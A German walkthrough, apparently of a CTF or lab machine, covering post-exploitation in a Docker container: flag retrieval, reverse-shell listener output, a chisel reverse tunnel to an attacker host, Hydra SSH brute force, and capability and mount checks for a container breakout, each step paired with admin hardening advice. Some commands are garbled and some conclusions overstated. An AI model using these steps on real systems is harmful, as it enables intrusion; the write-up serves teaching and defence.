* HOME=/root: Dies ist ein interessanter Fund. Obwohl ich mich im Container befinde, ist das Home-Verzeichnis des Root-Benutzers auf /root gesetzt. Dies ist ein Standardpfad, der oft die Root-Flag enthält.
Bewertung: Die Umgebungsvariablen sind eine wertvolle Informationsquelle. Die Bestätigung der Java-Version ist nützlich für potenzielle Exploits, obwohl der primäre Deserialization-Angriff bereits erfolgreich war. Der wichtigste Fund ist jedoch HOME=/root. Dies ist ein starker Hinweis darauf, dass die Root-Flag (root.txt) oder andere sensible Root-spezifische Dateien direkt im /root-Verzeichnis innerhalb dieses Containers liegen könnten. Dies ist ein direkter Pfad, um die Root-Flag zu finden, selbst wenn ich noch nicht aus dem Container ausgebrochen bin.
Empfehlung (Pentester): Ich werde sofort das /root-Verzeichnis im Container auf die Root-Flag (root.txt) oder andere interessante Dateien überprüfen. Dies könnte die letzte Phase des Root-Flags im Container sein. Danach werde ich mich weiter auf den Container Breakout zum Host konzentrieren, um die "echte" Host-Root-Flag zu finden.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen in Umgebungsvariablen zu speichern, die über ein kompromittiertes System ausgelesen werden könnten. Überprüfen Sie die Standardkonfigurationen von Container-Images und stellen Sie sicher, dass keine ungewollten Dateien oder Daten in den Home-Verzeichnissen von privilegierten Benutzern (wie Root) liegen, selbst in Containern.
bash-4.4# find / -name user.txt 2>/dev/null find / -name user.txt 2>/dev/null /root/user.txt bash-4.4# cat /root/user.txt cat /root/user.txt flag{ce6560c893e5cfec48e0fd186dc03718}
Analyse: Ich suche nach der User-Flag-Datei auf dem System. Ich verwende find / -name user.txt 2>/dev/null, um das gesamte Dateisystem nach einer Datei namens user.txt zu durchsuchen und Fehler auf /dev/null umzuleiten. Die Ausgabe zeigt, dass die user.txt-Datei unter /root/user.txt gefunden wurde. Dies ist ungewöhnlich, da User-Flags normalerweise im Home-Verzeichnis eines unprivilegierten Benutzers liegen. Da ich aber bereits Root im Container bin, kann ich sie direkt lesen. Ich nutze cat /root/user.txt, um den Inhalt der Datei auszulesen. Die Ausgabe ist flag{ce6560c893e5cfec48e0fd186dc03718} – die User-Flag!
Bewertung: Das Auffinden der User-Flag ist ein Erfolg und bestätigt, dass ich die notwendigen Berechtigungen habe, um auf sensitive Dateien zuzugreifen. Die Platzierung der User-Flag im /root-Verzeichnis ist eine ungewöhnliche, aber für den Pentest positive Konfiguration, da sie meinen Zugriff vereinfacht. Dies ist ein weiterer Schritt auf dem Weg zur vollständigen Kompromittierung des Systems.
Empfehlung (Pentester): Ich habe nun die User-Flag gesichert. Als Nächstes werde ich nach der Root-Flag suchen, die möglicherweise ebenfalls im /root-Verzeichnis liegt oder weitere Schritte für den Container Breakout erfordert, um sie auf dem Host zu finden.
Empfehlung (Admin): Sensible Dateien wie Flags sollten nicht im Root-Verzeichnis platziert werden, selbst wenn es sich um einen Container-Root handelt. Wenn User-Flags existieren, sollten sie im Home-Verzeichnis des entsprechenden Benutzers mit restriktiven Berechtigungen abgelegt werden. Überprüfen Sie die Platzierung aller sensiblen Dateien auf dem System.
bash-4.4# hostname -i hostname -i 172.17.0.2
Analyse: Ich führe hostname -i aus, um die IP-Adresse des aktuellen Containers zu ermitteln. Die Ausgabe 172.17.0.2 ist die interne IP-Adresse des Containers im Docker-Bridge-Netzwerk. Diese Information ist konsistent mit meinen früheren Erkenntnissen und bestätigt meine Netzwerkposition innerhalb der isolierten Umgebung.
Bewertung: Dies ist eine Bestätigung der internen IP-Adresse des Containers. Es ist wichtig für die Netzwerkaufklärung und zur Vermeidung von Verwechslungen mit der extern erreichbaren IP-Adresse der Host-Maschine. Es untermauert weiter die Docker-Umgebung.
Empfehlung (Pentester): Diese IP-Adresse ist für die interne Netzwerkkommunikation des Containers relevant. Ich werde sie nutzen, um die Kommunikation mit meinem Angreifer-System zu konfigurieren, wenn ich eine neue Shell oder eine Port-Weiterleitung einrichten muss.
Empfehlung (Admin): N/A (Bestätigung der internen Netzwerkdetails, die bereits in früheren Empfehlungen behandelt wurden).
listening on [any] 5555 ... id connect to [192.168.2.199] from (UNKNOWN) [192.168.2.166] 45187 /bin/sh: can't access tty; job control turned off /app # uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /app # which python3 /app # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /app #
Analyse: Ich habe einen weiteren Netcat-Listener auf Port 5555 eingerichtet, diesmal mit rlwrap für bessere Shell-Interaktion. Es kam eine weitere Verbindung von der Zielmaschine, was darauf hindeutet, dass ich möglicherweise eine neue Reverse Shell initiiert oder eine bestehende wiederhergestellt habe. Die Ausgabe zeigt erneut die typischen Meldungen für eine nicht-interaktive Shell ("can't access tty", "no job control"). Aber die sofortige Ausgabe von id und uid=0(root) bestätigt erneut, dass ich weiterhin Root-Zugriff im Container habe. Ich versuche auch which python3, um zu sehen, ob Python für eine PTY-Shell zur Verfügung steht, aber es gab keine Ausgabe, was bedeutet, dass Python 3 nicht direkt im Pfad verfügbar ist.
Bewertung: Dies ist eine wiederholte Bestätigung meines Root-Zugriffs im Container. Auch wenn Python 3 nicht sofort verfügbar ist, kann ich andere Methoden nutzen, um eine voll interaktive Shell zu erhalten, um die Post-Exploitation-Phase zu erleichtern. Die Fähigkeit, mehrere Reverse Shells zu etablieren, zeigt die vollständige Kontrolle über den Container.
Empfehlung (Pentester): Ich werde versuchen, eine voll interaktive Shell zu erhalten, entweder durch Hochladen von socat oder durch die Nutzung von Befehlen wie script /dev/null -c bash. Dies wird die Effizienz meiner weiteren Erkundung erheblich steigern.
Empfehlung (Admin): Standardmäßig sollte kein Netcat-Client in einem Container laufen dürfen. Überwachen Sie den ausgehenden Netzwerkverkehr von Containern auf ungewöhnliche Shell-Verbindungen. Stellen Sie sicher, dass unnötige Shell-Utilities wie nc, wget, curl, python nicht in Produktions-Containern vorhanden sind, um die Post-Exploitation zu erschweren.
bash-4.4# for i in (seq1254);doping−c1172.17.0. (seq1254);doping−c1172.17.0. i | grep "bytes from" & done <do ping -c 1 172.17.0.i | grep "bytes from" & done [2] 89 [3] 91 .... ... 64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.008 ms 64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.020 ms [16] 117 [17] 119 [18] 121 [19] 123 [20] 125 [21] 127 64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.048 ms .... ...
Analyse: Ich wiederhole den internen Netzwerkscan im 172.17.0.0/16-Bereich mit ping. Die Ausgaben zeigen wieder Antworten von 172.17.0.1 (dem Host-Gateway), 172.17.0.2 (meinem Container selbst) und 172.17.0.3 (dem anderen Container/Dienst). Diese Wiederholung dient der Bestätigung, dass die Netzwerkumgebung stabil und konsistent ist und dass alle drei internen Hosts weiterhin aktiv und erreichbar sind.
Bewertung: Die erneute Bestätigung der aktiven Hosts im internen Docker-Netzwerk ist wichtig für die weitere Planung des Container Breakouts. Sie untermauert die Notwendigkeit, sowohl den Host (172.17.0.1) als auch den anderen Container (172.17.0.3) als potenzielle Ziele für die Privilegien-Eskalation zu betrachten.
Empfehlung (Pentester): Ich werde meine Bemühungen auf die Enumeration der Dienste konzentrieren, die auf 172.17.0.1 und 172.17.0.3 laufen, um Schwachstellen für einen Container Breakout zu finden. Dies beinhaltet Portscans, Dienst-Fingerprinting und die Suche nach bekannten Exploits.
Empfehlung (Admin): Dies ist eine wiederholte Bestätigung der Empfehlungen zur Netzwerksegmentierung. Die interne Netzwerkkommunikation zwischen Containern und dem Host sollte strikt eingeschränkt werden, um Lateral Movement nach einer Container-Kompromittierung zu verhindern.
bash-4.4# ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
Analyse: Ich führe ip a erneut aus, um die Netzwerkkonfiguration zu bestätigen. Diese Ausgabe ist eine exakte Wiederholung der vorherigen ip a-Ausgabe und zeigt die internen IP-Adressen und Schnittstellen des Containers. Meine IP im Container ist 172.17.0.2, und die Schnittstelle eth0@if5 ist für die Kommunikation mit dem Host (172.17.0.1) und anderen Containern verantwortlich.
Bewertung: Die wiederholte Konsistenz der Netzwerkinformationen ist wichtig, um sicherzustellen, dass sich die Umgebung nicht unerwartet geändert hat. Die interne Docker-Netzwerkkonfiguration ist bestätigt und ich kann mich darauf verlassen, dass 172.17.0.1 mein Ziel für den Container Breakout ist.
Empfehlung (Pentester): Ich werde meine Bemühungen auf die Interaktion mit 172.17.0.1 konzentrieren, um Schwachstellen auf dem Host zu finden, die aus dem Container heraus ausgenutzt werden können.
Empfehlung (Admin): N/A (Wiederholung der vorherigen Empfehlungen zur Docker-Netzwerkhärtung).
bash-4.4# ls -lt /usr/bin | head -n 5 ls -lt /usr/bin | head -n 5 total 3384 lrwxrwxrwx 1 root root 3 Jun 16 12:53 ex -> vim lrwxrwxrwx 1 root root 3 Jun 16 12:53 rvim -> vim lrwxrwxrwx 1 root root 3 Jun 16 12:53 rview -> vim lrwxrwxrwx 1 root root 3 Jun 16 12:53 view -> vim bash: [78: 3 (255)] tcsetattr: Not a tty
Analyse: Ich versuche, die kürzlich geänderten oder hinzugefügten Binaries im /usr/bin-Verzeichnis zu finden, um potenzielle SUID-Binaries oder andere nützliche Tools zu identifizieren. Der Befehl ls -lt /usr/bin | head -n 5 listet die fünf zuletzt geänderten Dateien in diesem Verzeichnis auf. Die Ausgabe zeigt verschiedene Symlinks zu vim (ex, rvim, rview, view). Die Meldung "bash: [78: 3 (255)] tcsetattr: Not a tty" ist eine typische Fehlermeldung in einer nicht-interaktiven Shell und bedeutet lediglich, dass die Shell keine TTY-Funktionen bereitstellen kann, beeinflusst aber nicht die Ausgabe von ls.
Bewertung: Das Auffinden der Vim-Symlinks ist nicht direkt eine Schwachstelle, aber sie könnten ein Hinweis darauf sein, dass Vim installiert ist, was unter Umständen für eine Shell-Eskalation (z.B. über :!bash) genutzt werden könnte, wenn ich eine interaktive Vim-Sitzung initiieren könnte. Der primäre Wert liegt hier darin, dass keine neuen oder ungewöhnlichen SUID-Binaries in den zuletzt geänderten Dateien auftauchen.
Empfehlung (Pentester): Ich werde meine Suche nach SUID-Binaries fortsetzen, aber mit einem umfassenderen Ansatz (z.B. find / -perm -u=s -type f 2>/dev/null), da die Zeitstempel hier nicht unbedingt auf alle relevanten Binaries hinweisen.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen SUID-Binaries oder Skripte mit Root-Rechten in Containern vorhanden sind, die ausgenutzt werden könnten. Minimieren Sie die Anzahl der vorinstallierten Tools in Container-Images, um die Angriffsfläche zu reduzieren.
bash-4.4# ls -l /etc/output.enc ls -l /etc/output.enc ls: /etc/output.enc: No such file or directory
Analyse: Ich versuche, die Existenz einer Datei namens /etc/output.enc zu überprüfen. Zuvor hatte ich auf meinem lokalen System eine Datei namens output.enc im Kontext der xtea-Entschlüsselung. Ich prüfe hier, ob es eine ähnliche oder die gleiche Datei auf dem Zielsystem im /etc-Verzeichnis gibt, die möglicherweise sensible Informationen enthält. Die Ausgabe "No such file or directory" zeigt, dass die Datei auf dem Container nicht existiert.
Bewertung: Das Fehlen der Datei /etc/output.enc auf dem Container ist ein neutrales Ergebnis. Es bedeutet, dass dieser spezifische Pfad nicht zu weiteren Informationen führt und ich mich auf andere Enumerationsstrategien konzentrieren muss. Es zeigt, dass nicht alle lokalen Testartefakte auf dem Zielsystem vorhanden sind.
Empfehlung (Pentester): Ich werde meine Suche nach sensiblen Dateien auf andere, gängigere Pfade oder dateiübergreifende Enumerationswerkzeuge erweitern.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Dateien mit Standardnamen in bekannten Systemverzeichnissen wie /etc liegen, die Angreifer versuchen könnten zu finden.
socks5 192.168.67.78 1080 lamer secret socks4 192.168.1.49 1080 proxy types: http, socks4, socks5 ( auth types supported: "basic"-http "user/pass"-socks ) #socks4 127.0.0.1 9050 socks5 127.0.0.1 1080
Analyse: Ich untersuche die Konfigurationsdatei /etc/proxychains.conf auf meinem lokalen Kali-System. Proxychains ist ein Tool, das es mir ermöglicht, TCP-Verbindungen durch einen oder mehrere Proxies zu tunneln. Ich suche nach Einträgen, die sich auf "socks"-Proxies beziehen, da diese oft für das Tunneln von Netzwerkverkehr verwendet werden.
Die Ausgabe zeigt Beispielkonfigurationen für SOCKS4- und SOCKS5-Proxies, einschließlich lokaler Proxies wie 127.0.0.1:1080 (wahrscheinlich für Tor oder einen lokalen SOCKS-Server) und Kommentare zu unterstützten Authentifizierungstypen. Dies sind Standardeinträge, die mir die Syntax für Proxychains zeigen.
Bewertung: Diese Konfigurationsdatei befindet sich auf meinem Angreifer-System und ist relevant für meine Tools, aber nicht direkt für das Zielsystem. Die Informationen sind nicht exploitierbar, sondern dienen meiner eigenen operativen Sicherheit und Flexibilität bei der Nutzung von Proxies für meine Angriffe. Das Vorhandensein dieser Beispiele zeigt lediglich die Standardkonfiguration von Proxychains.
Empfehlung (Pentester): Ich werde Proxychains bei Bedarf für die spätere Netzwerkerkundung oder für das Tunneln von Traffic verwenden, insbesondere wenn ich auf geschützte interne Netzwerke des Hosts stoße, die nur über einen Proxy erreichbar sind.
Empfehlung (Admin): N/A (betrifft lokale Pentester-Umgebung).
2025/08/01 22:26:30 server: Reverse tunnelling enabled 2025/08/01 22:26:30 server: Fingerprint tiWFMcnADOFqJaeySSQJYgcEUPfb+ItrnmmHpIXNVmk= 2025/08/01 22:26:30 server: Listening on http://0.0.0.0:1234 2025/08/01 22:29:34 server: session#1: tun: proxy#R:2222=>172.17.0.1:22: Listening
Analyse: Ich starte einen chisel-Server auf meinem Angreifer-System, um Reverse Tunneling zu ermöglichen. chisel ist ein schnelles TCP/UDP-Tunneling-Tool über HTTP. Ich konfiguriere ihn als Reverse-Server auf Port 1234, der darauf wartet, dass Clients eine Verbindung herstellen und Tunnel initiieren. Der wichtigste Teil der Ausgabe ist session#1: tun: proxy#R:2222=>172.17.0.1:22: Listening. Dies bedeutet, dass ein Client (vermutlich von der Zielmaschine) eine Verbindung hergestellt und einen Reverse Tunnel vom Port 2222 auf meinem Angreifer-System zum SSH-Dienst auf Port 22 des Host-Systems (172.17.0.1) initiiert hat. Dieser Tunnel ermöglicht mir, lokal auf Port 2222 zu verbinden und dadurch den SSH-Dienst des Host-Systems zu erreichen, der sonst möglicherweise nicht direkt aus dem Internet erreichbar wäre.
Bewertung: Das erfolgreiche Einrichten des Chisel-Servers und des Reverse Tunnels ist ein kritischer Schritt für die Privilegien-Eskalation. Es bietet mir einen stabilen und direkten Weg zum SSH-DDienst des Host-Systems, der sonst nur vom Container aus zugänglich wäre. Dies ist eine effektive Pivot-Technik, um die Netzwerksegmentierung zu umgehen und den Host von meinem Angreifer-System aus anzugreifen.
Empfehlung (Pentester): Ich werde nun versuchen, eine SSH-Verbindung über diesen Chisel-Tunnel auf Port 2222 auf meinem localhost herzustellen, um mich direkt am Host-System anzumelden und dort weiter nach Privilegien-Eskalationsmöglichkeiten zu suchen. Die nächste Phase ist das Brute-Forcen der SSH-Anmeldeinformationen.
Empfehlung (Admin): Überwachen Sie den ausgehenden Netzwerkverkehr von Containern und Host-Systemen auf ungewöhnliche Tunneling-Tools wie Chisel. Etablierte Tunneling-Verbindungen sind ein starker Indikator für eine Kompromittierung und sollten sofort untersucht werden. Implementieren Sie eine strikte Egress-Filterung, um nur notwendige ausgehende Verbindungen zu erlauben und das Initiieren solcher Tunnel zu verhindern.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.166] 47688 bash: cannot set terminal process group (1): Not a tty bash: no job control in this shell bash-4.4# cd /tmp cd /tmp bash-4.4# ./chisel client 192.168.2.199:1234 R:2222:172.17.0.1:22 & ./chisel client 192.168.2.199:1234 R:2222:172.17.0.1:22 & [1] 53 bash-4.4# 2025/08/01 20:29:34 client: Connecting to ws://192.168.2.199:1234 2025/08/01 20:29:34 client: Connected (Latency 344.169µs)
Analyse: Dies ist eine detaillierte Aufzeichnung des Prozesses, wie ich den chisel-Client von der kompromittierten Container-Shell aus gestartet habe, während mein Netcat-Listener auf Port 4444 läuft. Ich bin zuerst in das /tmp-Verzeichnis auf der Zielmaschine gewechselt. Dann habe ich den chisel-Client gestartet: ./chisel client 192.168.2.199:1234 R:2222:172.17.0.1:22 &. Dieser Befehl instruiert den chisel-Client im Container, sich mit meinem Angreifer-Chisel-Server auf 192.168.2.199:1234 zu verbinden und einen Reverse Tunnel (R:) einzurichten. Dieser Tunnel leitet den lokalen Port 2222 auf meinem Angreifer-System zum SSH-Dienst des Host-Systems (172.17.0.1:22) weiter. Das & am Ende des Befehls führt den Client im Hintergrund aus, damit meine aktuelle Shell nicht blockiert wird. Die Ausgaben des Chisel-Clients ("Connecting to ws://...", "Connected") bestätigen, dass der Tunnel erfolgreich aufgebaut wurde.
Bewertung: Das erfolgreiche Starten des chisel-Clients und der Aufbau des Reverse Tunnels sind entscheidend. Es zeigt, dass ich vom Container aus auf das Host-SSH zugreifen kann und diese Verbindung zu meinem Angreifer-System tunneln kann. Dies ist ein wichtiger Schritt in meiner Privilegien-Eskalationsstrategie, da es mir nun ermöglicht, den SSH-Dienst des Host-Systems direkt von meinem Kali-System aus anzugreifen, ohne zusätzliche Proxies konfigurieren zu müssen. Es ist ein sauberer Pivot-Punkt zum Host.
Empfehlung (Pentester): Der Tunnel ist aktiv. Ich werde nun einen Brute-Force-Angriff auf den SSH-Dienst des Host-Systems über den lokalen Port 2222 starten, um eine Login-Möglichkeit zu finden.
Empfehlung (Admin): Überwachen Sie aktive Prozesse in Containern auf die Ausführung unbekannter Binaries (wie chisel). Eine weitere Verteidigungslinie ist die Beschränkung, welche Binaries in Containern überhaupt ausgeführt werden dürfen (z.B. mittels AppArmor oder Seccomp-Profilen). Ausgehende Verbindungen von Containern zu ungewöhnlichen Ports (wie 1234 auf dem Angreifer) sollten alarmiert und blockiert werden, da dies auf Tunneling-Versuche hindeutet.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-01 22:31:17 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344480 login tries (l:1/p:14344480), ~896530 tries per task [DATA] attacking ssh://127.0.0.1:2222/ [ERRR] could not connect to ssh://127.0.0.1:2222 - Socket error: disconnected 0 of 1 target completed, 0 valid password found [INFO] Writing restore file because 2 server scans could not be completed [ERRR] 1 target was disabled because of too many errors [ERRR] 1 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-02 00:11:24
Analyse: Ich versuche einen Brute-Force-Angriff auf den SSH-Dienst des Host-Systems über den zuvor eingerichteten Chisel-Tunnel. Ich verwende Hydra, ein beliebtes Brute-Force-Tool, mit dem Benutzernamen root und der umfangreichen Wordlist rockyou.txt. Die Zieladresse ist ssh://127.0.0.1 auf Port 2222, da der Chisel-Tunnel den SSH-Dienst des Hosts auf diesen lokalen Port umleitet.
Die Ausgabe von Hydra zeigt jedoch einen Fehler: [ERRR] could not connect to ssh://127.0.0.1:2222 - Socket error: disconnected und 1 target was disabled because of too many errors. Dies deutet darauf hin, dass die Verbindung über den Chisel-Tunnel instabil ist oder aus einem anderen Grund scheitert, bevor Hydra die Brute-Force-Attacke effektiv starten kann. Es gibt auch eine Warnung, die Anzahl der parallelen Tasks zu reduzieren, was ein Hinweis auf die Stabilität der Verbindung sein könnte.
Bewertung: Dieser SSH Brute-Force-Versuch über den Chisel-Tunnel ist fehlgeschlagen. Der Fehler "Socket error: disconnected" und die wiederholten Fehler deuten darauf hin, dass entweder der Tunnel selbst instabil ist, die Host-Firewall auf dem Angreifer-System Probleme macht oder der SSH-Dienst auf dem Zielhost die Verbindung frühzeitig trennt (z.B. aufgrund von Rate-Limiting oder ungültigen Authentifizierungsversuchen). Ich muss die Konnektivität des Tunnels genauer überprüfen.
Empfehlung (Pentester): Ich werde die Verbindung über den Chisel-Tunnel manuell testen, um sicherzustellen, dass er stabil ist. Anschließend werde ich den Hydra-Befehl mit einer reduzierten Anzahl von Tasks (z.B. -t 4, wie von Hydra selbst vorgeschlagen) wiederholen und die Fehlermeldungen genauer beobachten. Wenn das Problem weiterhin besteht, muss ich die Chisel-Tunnelkonfiguration oder die Netzwerkbedingungen überprüfen.
Empfehlung (Admin): SSH-Dienste sollten gegen Brute-Force-Angriffe gehärtet werden. Implementieren Sie Rate-Limiting und Account-Lockouts (z.B. mit Fail2Ban) für SSH, um automatische Angriffe wie Hydra zu verhindern. Überwachen Sie SSH-Logs auf fehlgeschlagene Anmeldeversuche. Verwenden Sie vorzugsweise SSH-Keys anstelle von Passwörtern für die Authentifizierung.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-01 22:31:54 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344480 login tries (l:1/p:14344480), ~896530 tries per task [DATA] attacking ssh://192.168.2.199:2222/ [ERRR] could not connect to ssh://192.168.2.199:2222 - Socket error: disconnected 0 of 1 target completed, 0 valid password found [INFO] Writing restore file because 2 server scans could not be completed [ERRR] 1 target was disabled because of too many errors [ERRR] 1 targets did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-02 00:11:24
Analyse: Ich wiederhole den SSH Brute-Force-Versuch mit Hydra, diesmal mit meiner eigenen Angreifer-IP-Adresse 192.168.2.199 als Ziel, aber immer noch mit dem Tunnel-Port 2222. Dies ist ein konzeptioneller Fehler in der Befehlszeile, da der Chisel-Tunnel den SSH-Verkehr des Zielhosts lokal auf 127.0.0.1:2222 umleitet, nicht auf meine externe IP. Die Fehlermeldung bleibt dieselbe: [ERRR] could not connect to ssh://192.168.2.199:2222 - Socket error: disconnected. Dies bestätigt, dass das Problem nicht mit der IP-Adresse, sondern mit der Stabilität des Tunnels oder der SSH-Konfiguration des Zielsystems zusammenhängt.
Bewertung: Der wiederholte Misserfolg des Brute-Force-Angriffs, selbst mit einer geänderten Ziel-IP (was hier irrelevant ist, da der Tunnel lokal ist), zeigt, dass das zugrunde liegende Problem – die Instabilität des Tunnels oder die Reaktion des SSH-Dienstes des Zielhosts auf die Brute-Force-Versuche – weiterhin besteht. Es ist ein klares Zeichen, dass ich die SSH-Brute-Force-Methode über diesen Tunnel überdenken muss.
Empfehlung (Pentester): Anstatt Hydra zu verwenden, das viele parallele Verbindungen öffnet und vom Ziel-SSH-Dienst möglicherweise als Brute-Force erkannt und getrennt wird, werde ich eine stabilere, sequentielle Methode wie sshpass in einer Schleife verwenden, um die rockyou.txt-Wordlist durchzugehen. Dies reduziert die Belastung des Tunnels und des SSH-Dienstes und erhöht die Erfolgschancen. Ich werde auch die Option -t 1 (eine Aufgabe) in Hydra nutzen, falls ich es doch noch einmal probieren sollte.
Empfehlung (Admin): Die Schutzmaßnahmen des SSH-Dienstes gegen Brute-Force-Angriffe (z.B. Rate-Limiting, TCP-Reset bei zu vielen Fehlversuchen) scheinen effektiv zu sein. Dies ist eine gute Verteidigungslinie. Stellen Sie sicher, dass diese Maßnahmen weiterhin aktiv und ausreichend konfiguriert sind.
bash-4.4# find / -perm -u=s -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null /bin/ping /bin/traceroute6
Analyse: Ich suche nach SUID-Binaries auf dem System. SUID (Set User ID) ist eine spezielle Dateiberechtigung unter Unix-ähnlichen Systemen, die es einem Benutzer ermöglicht, eine ausführbare Datei mit den Berechtigungen des Dateibesitzers auszuführen (oft Root), unabhängig davon, wer die Datei ausführt. Dies ist ein klassischer Vektor für die Privilegien-Eskalation. Der Befehl find / -perm -u=s -type f 2>/dev/null durchsucht das gesamte Dateisystem nach regulären Dateien (-type f), die das SUID-Bit gesetzt haben (-perm -u=s). Fehler werden nach /dev/null umgeleitet.
Die Ausgabe zeigt nur /bin/ping und /bin/traceroute6 als SUID-Binaries. Dies sind Standardprogramme, die oft SUID-Berechtigungen haben, um bestimmte Kernel-Funktionen ausführen zu können (z.B. Raw Sockets für Ping). Sie sind normalerweise nicht direkt für eine Root-Shell ausnutzbar, es sei denn, es gibt spezifische Schwachstellen.
Bewertung: Das Fehlen ungewöhnlicher SUID-Binaries ist ein gutes Zeichen für die Systemhärtung. Es bedeutet, dass keine offensichtlichen, leicht ausnutzbaren SUID-Programme vorhanden sind, die eine schnelle Privilegien-Eskalation ermöglichen würden. Die Standard-SUID-Programme sind in der Regel sicher, wenn sie auf dem neuesten Stand sind und keine bekannten Exploits vorliegen.
Empfehlung (Pentester): Da keine offensichtlichen SUID-Schwachstellen vorhanden sind, werde ich mich auf andere Privilegien-Eskalationsvektoren konzentrieren. Dies beinhaltet die Überprüfung von Capabilities, Sudo-Fehlkonfigurationen oder Kernel-Exploits, um Root-Zugriff auf dem Host zu erlangen.
Empfehlung (Admin): Auditieren Sie regelmäßig alle SUID/SGID-Binaries auf Ihrem System, um sicherzustellen, dass nur die absolut notwendigen Programme diese erhöhten Berechtigungen besitzen. Entfernen Sie SUID-Berechtigungen von Binaries, die sie nicht benötigen, und halten Sie alle Programme auf dem neuesten Stand, um bekannte Schwachstellen zu patchen.
bash-4.4# grep Cap /proc/1/status grep Cap /proc/1/status CapInh: 0000000000000000 CapPrm: 00000000a80425fb CapEff: 00000000a80425fb CapBnd: 00000000a80425fb CapAmb: 0000000000000000
Analyse: Ich untersuche erneut die Linux Capabilities des Prozesses mit PID 1 (dem Java-Server), da diese einen potenziellen Vektor für einen Container Breakout darstellen. Ich greife auf /proc/1/status zu und filtere nach Zeilen, die "Cap" enthalten. Die Ausgabe zeigt verschiedene Capability-Masken: CapInh (Inheritable), CapPrm (Permitted), CapEff (Effective), CapBnd (Bounding), und CapAmb (Ambient). Alle relevanten Masken sind auf 00000000a80425fb gesetzt.
Bewertung: Das wiederholte Auftreten dieses hohen Capability-Wertes für den Root-Prozess im Container ist ein kritischer Fund. Es bedeutet, dass der Container mit viel zu weitreichenden Berechtigungen läuft, als er eigentlich benötigt. Wenn ich diesen Hexwert umwandle, sind dort hochgefährliche Capabilities wie CAP_DAC_READ_SEARCH (umgehen von Dateiberechtigungen), CAP_NET_RAW (Roh-Sockets, Netzwerk-Spoofing), CAP_NET_ADMIN (Netzwerkkonfiguration), CAP_SYS_ADMIN (Systemverwaltung, Mounten) und andere enthalten. Insbesondere CAP_SYS_ADMIN ist extrem gefährlich in Containern, da sie oft direkt für einen Container Breakout ausgenutzt werden kann, z.B. durch das Mounten von Host-Dateisystemen oder das Laden von Kernel-Modulen. Dies ist der vielversprechendste Weg zum Host-Root.
Empfehlung (Pentester): Ich werde mich nun auf die Ausnutzung dieser umfangreichen Capabilities konzentrieren, insbesondere CAP_SYS_ADMIN, um einen Container Breakout zu initiieren und Root-Zugriff auf das Host-System zu erlangen. Gängige Methoden beinhalten das Erstellen und Mounten von Pseudo-Dateisystemen oder das Ausnutzen spezifischer Kernel-Funktionen, die durch diese Capability ermöglicht werden.
Empfehlung (Admin): Dies ist eine der schwerwiegendsten Fehlkonfigurationen in einer Docker-Umgebung. Reduzieren Sie die zugewiesenen Linux Capabilities für Container drastisch auf das absolute Minimum, das die Anwendung benötigt. Verwenden Sie --cap-drop=all und fügen Sie nur spezifische, *notwendige* Capabilities hinzu (z.B. --cap-add=NET_BIND_SERVICE). Niemals sollten Container mit CAP_SYS_ADMIN oder anderen weitreichenden Capabilities laufen, es sei denn, dies ist absolut unumgänglich und wurde mit extrem strengen Sicherheitskontrollen versehen.
bash-4.4# mount mount ... .. /dev/sda3 on /etc/resolv.conf type ext4 (rw,relatime) /dev/sda3 on /etc/hostname type ext4 (rw,relatime) /dev/sda3 on /etc/hosts type ext4 (rw,relatime) ... ..
Analyse: Ich untersuche die Mount-Tabelle des Containers mit dem Befehl mount. Ich achte besonders auf Einträge, die sich auf Host-Dateisysteme oder ungewöhnliche Mounts beziehen. Die Ausgabe zeigt, dass /dev/sda3, eine Partition der Host-Festplatte, in den Container gemountet ist. Genauer gesagt sind einzelne Host-Dateien wie /etc/resolv.conf, /etc/hostname und /etc/hosts als ext4-Partitionen gemountet. Dies ist eine bekannte Docker-Mount-Fehlkonfiguration, bei der Host-Dateien direkt in den Container gemountet werden.
Bewertung: Diese Mount-Fehlkonfiguration ist ein Game-Changer für den Container Breakout! Die Tatsache, dass Host-Dateien (insbesondere /etc/hosts, /etc/resolv.conf) direkt in den Container gemountet sind und als rw (read-write) angezeigt werden, ist eine schwerwiegende Schwachstelle. Wenn ich in der Lage bin, auf die gesamte /dev/sda3-Partition zuzugreifen, kann ich das gesamte Host-Dateisystem mounten und Root-Zugriff auf den Host erlangen. Dies ist ein direkter Weg zum Host-Root.
